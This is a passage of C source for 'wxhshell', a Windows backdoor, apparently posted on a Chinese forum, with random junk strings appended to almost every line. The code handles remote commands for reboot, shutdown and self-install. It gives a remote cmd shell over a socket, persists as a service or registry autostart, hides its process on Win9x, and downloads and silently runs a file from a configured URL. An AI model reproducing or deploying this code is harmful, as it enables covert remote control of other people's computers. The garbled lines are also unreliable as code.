  else ,*Y*ov23aQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fs&J%ku\  
  } 6%H8Q v  
  else { ,w; ~R4x  
VQU[5C  
    switch(cmd[0]) { C6,GgDH`  
  p18-yt; 1  
  // 帮助 D-9zg\\'`  
  case '?': { OYzt>hdH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #B8`qFpQC  
    break; }oigZI(1  
  } !;{@O`j?b  
  // 安装 7s; <5xc  
  case 'i': { g_G?gO  
    if(Install()) FXV=D_G}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #x1AZwC  
    else @k <RX'~q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k^Zpb&`Hx  
    break; v]F q}I"  
    } N~{0QewMI'  
  // 卸载 ;@Ep?S @  
  case 'r': { F')T:;,s  
    if(Uninstall()) `)\_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z@>z.d4  
    else #bUWF|zfT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZLyJ  
    break; :^0g}8$<  
    } y$r^UjJEO  
  // 显示 wxhshell 所在路径 MG>g?s'!  
  case 'p': { t;Jt+k~  
    char svExeFile[MAX_PATH]; IJ!]1fXy+  
    strcpy(svExeFile,"\n\r"); |xZDc6HDW  
      strcat(svExeFile,ExeFile); OHssUt  
        send(wsh,svExeFile,strlen(svExeFile),0); C,n]9  
    break; ogs9obbZ!  
    } Jc~^32  
  // 重启 <4bv=++pS  
  case 'b': { Ictc '#y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b<_*~af  
    if(Boot(REBOOT)) ?Pw# !t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V[wEn9   
    else { H1| -f]!  
    closesocket(wsh); :{h,0w'd  
    ExitThread(0); $ ;>,  
    } J9)wt ?%j  
    break; ]/p0j$Tq$  
    } M$1+,[^f  
  // 关机 }U7>_b2  
  case 'd': { qnW5I_]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ItDe_|!L  
    if(Boot(SHUTDOWN)) 583ej2HPg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #j d?ocoY  
    else { ,a?)#X  
    closesocket(wsh); @pQv}%  
    ExitThread(0); HQ7-,!XO  
    } vF;6Y(h>  
    break; tirw{[X0n  
    } [T"oqO4%]  
  // 获取shell Vm'ReH  
  case 's': { ~ i1w,;(  
    CmdShell(wsh); l"}W $3]u$  
    closesocket(wsh); z~4L=tA(  
    ExitThread(0); ^c< <I-o|  
    break; ?Ee?Ol?i2  
  } }E]`ly<Z  
  // 退出 aBr%"&Z.MG  
  case 'x': { ,Ot3N\%yn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H`-%)c=  
    CloseIt(wsh); BT 98WR"\  
    break; $ 8_t.~q  
    } LoOyqJ,  
  // 离开 l6xC'c,jg  
  case 'q': { =ADAMP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I m_yY  
    closesocket(wsh); m{mK;D  
    WSACleanup(); + h`:qB  
    exit(1); yZxgUF&`  
    break; wz.Il-sm  
        } 4I"QT(;  
  } EYGJDv(S  
  } TnL%_!V!  
MgHyKn'rL  
  // 提示信息 WaWT 5|A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); { YJ.BWr  
} zVxiCyU  
  } [H0jDbN  
tFwQ /  
  return; j!mI9*hP  
} aP8Im1<A  
)7q;F m_/  
// shell模块句柄 =zVbZ7  
int CmdShell(SOCKET sock) 1kio.9NIp  
{ 1dfA 8=L,s  
STARTUPINFO si; IL3,dad'^  
ZeroMemory(&si,sizeof(si)); 8PXleAn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VOG DD@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $Y$!nPO  
PROCESS_INFORMATION ProcessInfo; 2s-f?WetbP  
char cmdline[]="cmd"; i= ~HXr}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jA=uK6m  
  return 0; GuM-H $,  
} )K@ 20Q+0K  
gD=s~DgN)  
// 自身启动模式 bT[Q:#GL  
int StartFromService(void) s=q\BmG  
{ BRoi`.b:  
typedef struct z9h`sY~  
{ 'QeqWn  
  DWORD ExitStatus; rcxV ,<[B  
  DWORD PebBaseAddress; eX?o 4>  
  DWORD AffinityMask; l#:=zu  
  DWORD BasePriority; s<:"rw`  
  ULONG UniqueProcessId; 70 HEu@-  
  ULONG InheritedFromUniqueProcessId; }xLwv=Ia  
}   PROCESS_BASIC_INFORMATION; *}ay  
S wC,=S  
PROCNTQSIP NtQueryInformationProcess; *sAoYx  
xhUQ.(S`r6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8Y5* 1E*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v bb mmv  
4$IPz7  
  HANDLE             hProcess; ,"h$!k"$g  
  PROCESS_BASIC_INFORMATION pbi; `*}#Bks!  
)KXLL;]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); htM5Nm[g  
  if(NULL == hInst ) return 0; bGK&W;Myk  
T%P 0M*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {:6VJ0s\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); px4Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K/MIDH  
nn#A-x}~;b  
  if (!NtQueryInformationProcess) return 0; 5U1@wfKE3>  
bXJ,L$q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Oq+C<}eg  
  if(!hProcess) return 0; N_C\L2  
%3xH<$Gq5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v{JCEb&wN  
.]r[0U  
  CloseHandle(hProcess); _ esFx  
aMv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'd(}bYr)  
if(hProcess==NULL) return 0; D3XQ>T[*q  
Qx.E+n\  
HMODULE hMod; jy&p_v1  
char procName[255]; d:A+s>`$M  
unsigned long cbNeeded; +"' h?7'C  
,j&o H$mW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #7Qn\C2  
]t(g7lc}U  
  CloseHandle(hProcess); 4RTEXoXs  
Yn J=&21  
if(strstr(procName,"services")) return 1; // 以服务启动 ?_HTOOa  
!o*oT}6n  
  return 0; // 注册表启动 j:<E=[Kl  
} i]Kq  
[W^6=7EO  
// 主模块 1ed#nB %  
int StartWxhshell(LPSTR lpCmdLine) j1/J9F'  
{ F!fxA#  
  SOCKET wsl; -MB ,]m  
BOOL val=TRUE; b?w4Nx#  
  int port=0; .>}we ~O  
  struct sockaddr_in door; I9Z8]Q+2"  
Nkv2?o>l  
  if(wscfg.ws_autoins) Install(); @Ki`g(],P  
G4g },p!  
port=atoi(lpCmdLine); bzUc;&WDz  
I*ho@`U  
if(port<=0) port=wscfg.ws_port; vKaX,)P;?  
nH[@EL  
  WSADATA data; r43dnwX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S;|%'Sn|j9  
}O o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zlSwKd(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M.|hnGX N  
  door.sin_family = AF_INET; ;K:.*sAa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VLQfuh;  
  door.sin_port = htons(port); 'BUdySng  
^]aDLjD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P6IhpB59  
closesocket(wsl); ]t #,{%h  
return 1; ](T*f'LN  
} 2H]&3kM3X  
B623B HwS  
  if(listen(wsl,2) == INVALID_SOCKET) { &<!I]:Y  
closesocket(wsl); >TL0hBaaR  
return 1; VaQ}XM  
} [bGdg  
  Wxhshell(wsl); Q^mJ_~  
  WSACleanup(); hTg%T#m  
>@rp]xx  
return 0; 56TUh_  
J+z0,N[  
} :UScbPG  
rRsLl/d  
// 以NT服务方式启动 { 0Leua  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b,SY(Ce~g  
{ W}T+8+RU  
DWORD   status = 0;  wl9E  
  DWORD   specificError = 0xfffffff; 8.9S91]=  
"J[Crm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gia_B6*Y[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oq0G@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZYL]|/"J9  
  serviceStatus.dwWin32ExitCode     = 0; B}*xrPj  
  serviceStatus.dwServiceSpecificExitCode = 0; N2~DxVJ5cT  
  serviceStatus.dwCheckPoint       = 0; $e<3z6  
  serviceStatus.dwWaitHint       = 0; kA#>Xu/  
a&y%|Gs^f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @$~%C) %u  
  if (hServiceStatusHandle==0) return; 2abWIw4  
?[VS0IBS  
status = GetLastError(); >TtkG|/U-T  
  if (status!=NO_ERROR) -y$|EOi?  
{ tWc!!Hf2j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nq_sbli  
    serviceStatus.dwCheckPoint       = 0; \UK  9  
    serviceStatus.dwWaitHint       = 0; L*L3;y|  
    serviceStatus.dwWin32ExitCode     = status; uFECfh  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6'*?zZrz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k6*2= xK~  
    return; Ng;E]2"  
  } tK]r>?Y\  
u^:!!Suo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fv`%w  
  serviceStatus.dwCheckPoint       = 0; lDAw0 C3  
  serviceStatus.dwWaitHint       = 0; 4'_uN$${$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4}?Yp e-  
} A u(Ngq  
!xa,[$w(^  
// 处理NT服务事件,比如:启动、停止 <L5[#V_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %JiA,  
{ Vl'|l)b4W  
switch(fdwControl) BBy/b c!  
{ [nflQW6  
case SERVICE_CONTROL_STOP: =zI eZ7  
  serviceStatus.dwWin32ExitCode = 0; nDaQ1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "3}Bv X  
  serviceStatus.dwCheckPoint   = 0; bCE[oi6hb  
  serviceStatus.dwWaitHint     = 0; !&19%C4  
  { `Jz"rh-M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9~>;sjJk  
  } S W  
  return; +KD~/}C%-  
case SERVICE_CONTROL_PAUSE: =">O;L.xj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cty.)e=  
  break; >F@7}Y(  
case SERVICE_CONTROL_CONTINUE: WXXLD:gxI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M[Ls:\1a  
  break; j7O7P+DmS  
case SERVICE_CONTROL_INTERROGATE: #msk'MVt  
  break; i}M&1E  
}; [Ma&=2h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &HW%0lTs%  
} 9h~>7VeZ)  
A!@D }n  
// 标准应用程序主函数 P3@[x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OGh b Ha  
{ KVqQOh'_T  
Xt9?7J#\T  
// 获取操作系统版本 w,JB`jS)/  
OsIsNt=GetOsVer(); KWhw@y-5j@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eGnc6)x@C  
0}HKmEM  
  // 从命令行安装 knF *~O :y  
  if(strpbrk(lpCmdLine,"iI")) Install(); SOeL@!_  
"K~+T\^|k  
  // 下载执行文件 iVnrv`k,  
if(wscfg.ws_downexe) {  ZY keW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,uuQj]Dac+  
  WinExec(wscfg.ws_filenam,SW_HIDE); >#c]rk:  
} ,/JrQWgD  
xae}8E   
if(!OsIsNt) { RI cA)I.  
// 如果时win9x,隐藏进程并且设置为注册表启动 hC5ivJ  
HideProc(); GQ)hZt0  
StartWxhshell(lpCmdLine); 7kG>s9O  
} `<+D<x)(3  
else hwkol W  
  if(StartFromService()) UGr7,+N&w  
  // 以服务方式启动 B||^ sRMX  
  StartServiceCtrlDispatcher(DispatchTable); d) G7U$z~  
else ZK_IK)g  
  // 普通方式启动 )SUT+x(DU  
  StartWxhshell(lpCmdLine); m5f/vb4l  
A-.jv  
return 0; [4( TG<I  
}
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只看该作者 1 发表于: 2006-10-10
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